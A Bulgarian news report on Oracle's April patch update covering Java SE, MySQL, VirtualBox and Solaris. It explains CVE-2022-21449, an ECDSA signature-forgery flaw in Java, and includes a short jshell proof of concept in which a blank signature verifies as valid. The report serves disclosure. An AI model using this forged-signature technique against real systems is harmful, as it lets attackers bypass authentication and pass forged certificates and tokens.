Възможност за генериране на фалшиви подписи ECDSA в Java SE. Уязвимости в MySQL, VirtualBox и Solaris

Компания Oracle публикува планирания на обновление на своите продукти (Critical Patch Update), насочено към отстраняване на критични проблеми и уязвимости. В априлското обновление общо са отстранени 520 уязвимости.

Някои проблеми:

• 6 проблема с безопасността в Java SE. Всички уязвимости могат да бъдат експлоатирани отдалеч без необходимост от аутентификация и засягат среди, допускащи изпълнението на недостоверен код. На две от проблемите е присвоен ниво на опасност 7.5. Уязвимостите са отстранени в версиите Java SE 18.0.1, 11.0.15 и 8u331.

  Един от проблемите (CVE-2022-21449) позволява генериране на фалшив цифров подпис ECDSA, използвайки нулеви параметри на кривата при генерирането (ако параметрите са нулеви, кривата отива в безкрайността, затова нулевите стойности са явно забранени в спецификацията). В библиотеките на Java не е имало проверка за нулеви стойности на параметрите на ECDSA, затова при обработката на подписи с нулеви параметри, Java във всички случаи ги счита за валидни.

  Включително уязвимостта може да бъде използвана за генериране на фалшиви на TLS сертификати, които ще бъдат приемани от Java като коректни, а също така за заобикаляне на аутентификацията чрез WebAuthn и генериране на фалшиви подписи JWT и токени OIDC. С други думи, уязвимостта позволява генерирането на универсални сертификати и подписи, които ще бъдат приемани и възприемани като коректни в Java-обработчиците, използващи стандартните класове java.security.*. Проблемът се проявява в версиите Java 15, 16, 17 и 18. Достъпен е пример за генериране на фалшиви сертификати. jshell> import java.security.* jshell> var keys = KeyPairGenerator.getInstance(«EC»).generateKeyPair() keys ==> java.security.KeyPair@626b2d4a jshell> var blankSignature = new byte[64] blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, … , 0, 0, 0, 0, 0, 0, 0, 0 } jshell> var sig = Signature.getInstance(«SHA256WithECDSAInP1363Format») sig ==> Signature object: SHA256WithECDSAInP1363Format jshell> sig.initVerify(keys.getPublic()) jshell> sig.update(«Hello, World».getBytes()) jshell> sig.verify(blankSignature) $8 ==> true

• 26 уязвимости в сървър MySQL, от които две могат да бъдат експлоатирани отдалеч. Най-сериозните проблеми, свързани с използването на OpenSSL и protobuf, имат нива на опасност 7.5. По-малко опасните уязвимости засягат оптимизатора, InnoDB, репликацията, PAM плъгина, DDL, DML, FTS и воденето на логове. Проблемите са отстранени в версиите MySQL Community Server 8.0.29 и 5.7.38.
• 5 уязвимости във VirtualBox. Проблемите са оценени на ниво на опасност от 7.5 до 3.8 (най-опасната уязвимост се проявява само на платформата Windows). Уязвимостите са отстранени в актуализацията на VirtualBox 6.1.34.
• 6 уязвимости в Solaris. Проблемите засягат ядрото и утилитите. Най-сериозната уязвимост в утилитите е оценена с ниво на опасност 8.2. Уязвимостите са отстранени в актуализацията Solaris 11.4 SRU44.

Източник: opennet.ru